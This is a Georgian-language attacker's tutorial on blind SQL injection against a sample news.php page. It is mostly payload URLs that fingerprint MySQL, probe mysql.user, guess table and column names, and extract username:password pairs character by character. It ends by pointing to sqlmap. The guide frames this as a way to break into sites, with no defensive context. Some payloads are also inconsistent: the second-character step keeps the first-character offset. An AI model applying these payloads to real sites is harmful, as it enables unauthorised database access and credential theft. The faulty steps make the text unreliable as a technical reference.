Blind SQL Injection არის ცოტა უფრო კლასიკური და ძნელი ინექცია მაგრამ მისი დამთავრება შესაძლებელია.
მოდით ეხლა ცოტა წინ წავიდეთ.
მე გამოვიყენებ მაგალითს:
http://www.site.com/news.php?id=5
როდესაც ჩვენ ამას გავაკეთებთ, ჩვენ შევხედავთ სურათებს ტექსტებს ლინკებს და ა.შ...
და შემდეგ ჩვენ გვინდა შევამოწმოთ იგი blind sql injection შეტევისათვის
http://www.site.com/news.php?id=5 and 1=1
<--- ეს არის ყოველთვის true-ზე.
და გვერდი იტვირთება ნორმალურად, that's ok.
ეხა ნამდვილი შემოწმება
http://www.site.com/news.php?id=5
and 1=2 <--- ეს არის false
თუ რაიმე ტექსტი , სურათი ან ლინკი არის დაკარგული და აღარ ჩანს, საიტზე შესაძელებელია Blind SQL Injection.
1) გაიგეთ MySQL ვერსია
რომ გავიგოთ ვერსია ბრმა ინექციაში ჩვენ ვიყენებთ ბრძანებას substring
მაგალითი
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
ეს იქნება TRUE თუ MySQL ის ვერსია არი 4.
შეცვალეთ 4-იანი 5-იანით, თუ დაბრუნდა TRUE მაშინ ვერსია არი 5.
მაგალითი
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) შეამოწმეთ Subselect მუშაობს თუ არა
როცა select არ მუშაობს ჩვენ ვიყენებთ subselect
მაგალითი
http://www.site.com/news.php?id=5 and (select 1)=1
თუ გვერდი იტვირთება ნორმალურად მაშინ subselects მუშაობს.
შემდდეგ ჩვენ ვნახავთ გვაქვს თუ არა წვდომა mysql.user-თან
მაგალითი
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
თუ გვერდი იტვირთება ნორმალურად მაშინ
ჩვენ გვაქვს წვდომა mysql.user-თან შემდეგ ჩვენ შეგვიძლია ჩავწეროთ პაროლი
load_file() და OUTFILE ფუნქციების გამოყენებით.
3). შეამოწმეთ Table და Columnების სახელები.
ეს არის ის ნაწილი როცა გამოცნობა არის საუკეთესო მეგობარი
მაგალითი
http://www.site.com/news.php?id=5 and
(select 1 from users limit 0,1)=1 (with limit 0,1 our query here
returns 1 row of data, cause subselect returns only 1 row, this is very
important.)
თუ გვერდი იტვირთება ნორმალურად არავითარი დანაკარგის გარეშე, მაშინ ესეთი Table არსებობს.
თუ თქვენ მიიღებთ FALSE (რაღაც ნაწილის დანაკარგით), უბრალოდ შეცვალეთ Table ს სახელი სანამ არ გამოიცნობთ სწორეს
ვთქვათ ჩვენ მოვნახეთ table და ეს არის users, ეხლა ჩვენ გვჭირდება column.
ისევე როგორც table ს სახელი, ჩვენ ვიწყებთ გამოცნობებს . როგორც ვთქვი უფრო ხშირად რაც აყენია ეგენი ცადეთ.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
თუ გვერდი ნორმალურად იტვირთება მაშინ column ის სახელია password (თუ არასწორია სცადეთ ხშირი სახელები ან უბრალოდ გამოიცანით)
აქ ჩვენ შევაერთებთ 1-ს column password-თან ერთად, და substring და substring დაგვიბრუნებს (,1,1)
4). გაიგეთ მონაცემები მონაცემთა ბაზიდან
ჩვენ ვნახეთ table users და columns username password და ჩვენ ამოვიღებთ სიმბოლოებს მაქედან.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
აქედან ჩვენ ამოვიღეთ პირველი სიმბოლოები Table Users ებიდან.
substring აბრუნებს პირველ სიმბოლოს და 1 სიმბოლოს სიგრძეში. ascii() გარდაქმნის მის 1 სიმბოლოს ascii-ში
და ჩვენ შემდეგ შევადარებთ მას სიმბოლო > .
თუ ascii სიმბოლო 80ზე მეტით, იტვირთება გვერდი ნორმალურად . (TRUE)
ჩვენ გავაგრძძელებთ სანამ არ მივიღებთ FALSE.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
მივიღეთ TRUE, გააგრძელეთ დამატება
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE გააგრძელეთ დამატება
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
პირველი სიმბოპლო username ში არი char(99). ascii გარდაქმნის გამოყენებით ჩვენ ვიცით რომ char(99) არის ასო 'c'.
ეხლა შევამოწმოთ მეორე სიმბოლო.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
დააკრვირდით იმას რომ მე შევცავლე ,1,1
- ,2,1-ზე რომ მივიღოთ მეორე სიმბოლო. (ახლა იგი უბრუნდება პირველ
სიმბოლოს, 1ელი სიმბოლო ზომაში )
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, გვერდი იტვირთება ნორმალურად, ვამატებთ.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, ვაკლებთ.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, ვამატებთ.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
ჩვენ ვიცით რომ მეორე სიმბოლო არის char(105) და იგი არის 'i'. ჩვენ გვაქ 'ci'.
ამიტომ დაამატეთ სანამ არ მორჩებით. (როდესაც >0 ბრუნდება false-თი ჩვენ გვეცოდინება რომ უკვე ყველა ასო გაგებულია).
არი რამოდენიმე პროგრამა Blind SQL Injection-ისთვის, მგონი sqlmap არის საუკეთესო, მაგრამ მე ყველაფერს ხელით ვაკეთებ,
|